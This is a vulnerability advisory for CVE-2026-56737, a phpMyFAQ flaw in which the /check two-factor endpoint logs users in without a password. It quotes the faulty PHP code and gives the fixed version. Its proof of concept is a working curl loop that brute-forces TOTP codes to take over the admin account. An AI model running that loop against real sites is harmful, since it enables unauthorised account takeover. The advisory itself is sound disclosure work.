CVE-2026-56737: phpMyFAQ's two-factor authentication login bypasses the password factor
Summary The public two-factor verification endpoint POST /check logs a user in based solely on a valid 6-digit TOTP token and a chosen user-id. It does not require — and is not bound to — a prior successful password authentication.
Published Sep 24, 2026
Affected packages
thorsten/phpmyfaq
- Ecosystem
- Composer (PHP)
- Affected
- >= 3.2.0, < 4.1.6
- Fixed in
- 4.1.6
- Check
composer show thorsten/phpmyfaq
phpmyfaq/phpmyfaq
- Ecosystem
- Composer (PHP)
- Affected
- >= 3.2.0, < 4.1.6
- Fixed in
- 4.1.6
- Check
composer show phpmyfaq/phpmyfaq
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The public two-factor verification endpoint POST /check logs a user in based solely on a valid 6-digit TOTP token and a chosen user-id. It does not require — and is not bound to — a prior successful password authentication. For any account that has 2FA enabled, an unauthenticated attacker can authenticate without knowing the password, reducing the account to a single factor (a 6-digit code) that is itself brute-forceable because this endpoint has no lockout (see Finding #2). This is an authentication bypass of the primary credential for all 2FA-protected accounts, including administrators.
Details
src/phpMyFAQ/Controller/Frontend/AuthenticationController.php:255-283:
#[Route(path: '/check', name: 'public.auth.check', methods: ['POST'])]
public function check(Request $request): RedirectResponse
{
if ($this->currentUser->isLoggedIn()) {
return new RedirectResponse(url: './');
}
$token = Filter::filterVar($request->request->get('token'), FILTER_SANITIZE_SPECIAL_CHARS);
$userId = (int) Filter::filterVar($request->request->get('user-id'), FILTER_VALIDATE_INT);
if ($userId <= 0) { /* ... */ }
$this->currentUserService->getUserById($userId); // loads attacker-chosen user
if (strlen((string) $token) === 6) {
$result = $this->twoFactor->validateToken($token, $userId);
if ($result) {
$this->currentUserService->twoFactorSuccess(); // full login, no password ever checked
return new RedirectResponse(url: './');
}
}
// ...
}twoFactorSuccess() performs a complete session login (src/phpMyFAQ/User/CurrentUser.php:239-247):
public function twoFactorSuccess(): bool
{
$this->setLoggedIn(true);
$this->updateSessionId(true);
$this->saveToSession();
$this->setSuccess(true);
return true;
}There is no server-side state (such as a "password already verified for this user" flag) tying the /check step to the password step. Compare the admin flow, which does it correctly via a 2fa_pending_user_id session value set only after the password is validated (src/phpMyFAQ/Controller/Administration/AuthenticationController.php:218-262) — proving the frontend omission is a regression, not an intended design.
validateToken() (src/phpMyFAQ/User/TwoFactor.php:87-101) returns false when the user has no secret, so this is *not* a universal bypass of all accounts — it specifically defeats the password factor of every 2FA-enabled account:
public function validateToken(string $token, int $userId): bool
{
if (strlen($token) !== 6 || $userId <= 0) { return false; }
$this->currentUser->getUserById($userId);
$secret = $this->currentUser->getUserData('secret');
if (!is_string($secret) || $secret === '') { return false; } // no 2FA -> false
return $this->twoFactorAuth->verifyCode($secret, $token); // 6-digit TOTP only
}Because /check has no failed-attempt lockout and the per-account login throttle is disabled by default (Finding #2), the 6-digit code can be brute-forced across TOTP windows. The net effect: 2FA, intended to *strengthen* the password, becomes the *only* barrier and is independently guessable.
PoC
Pre-req: a target account (e.g. admin) has 2FA enabled (a common hardening choice). The attacker knows or enumerates the numeric user-id (1 = first/admin account in default installs).
# No password required. Submit user-id + a 6-digit TOTP guess to /check.
# Iterate the token space; the session cookie returned on success is an authenticated session.
for code in $(seq -w 0 999999); do
curl -ks -c jar.txt -b jar.txt \
-X POST "https://target/check" \
--data-urlencode "user-id=1" \
--data-urlencode "token=$(printf '%06d' 10#$code)" \
-o /dev/null -w "%{http_code} %{redirect_url}\n" \
| grep -q './' && echo "[+] logged in with token $code" && break
done
# A successful guess yields a logged-in session in jar.txt -> full account takeover (no password used).If the attacker already controls or has phished the victim's TOTP device, a single request authenticates with no password at all.
Impact
Authentication bypass (CWE-287) / missing authentication for a critical step (CWE-306). The password — the primary credential — is never required for any 2FA-enabled account. Combined with the absent lockout, this enables full account takeover of users and administrators. Impacted: any deployment where users enable two-factor authentication.
Credited to waseem-cve.
References
- https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-8gpw-xvpf-hvx5
- https://nvd.nist.gov/vuln/detail/CVE-2026-56737
- https://github.com/thorsten/phpMyFAQ/commit/410208b90f1d01534812ac5203d3e8d9c7bd591f
- https://github.com/thorsten/phpMyFAQ/commit/5097dff341fb01e93e8561e7261b3ae657df715a
- https://github.com/thorsten/phpMyFAQ/commit/6a69f6e2142fde722165c65b7e0a49f3176e87be
- https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.6
- https://github.com/advisories/GHSA-8gpw-xvpf-hvx5
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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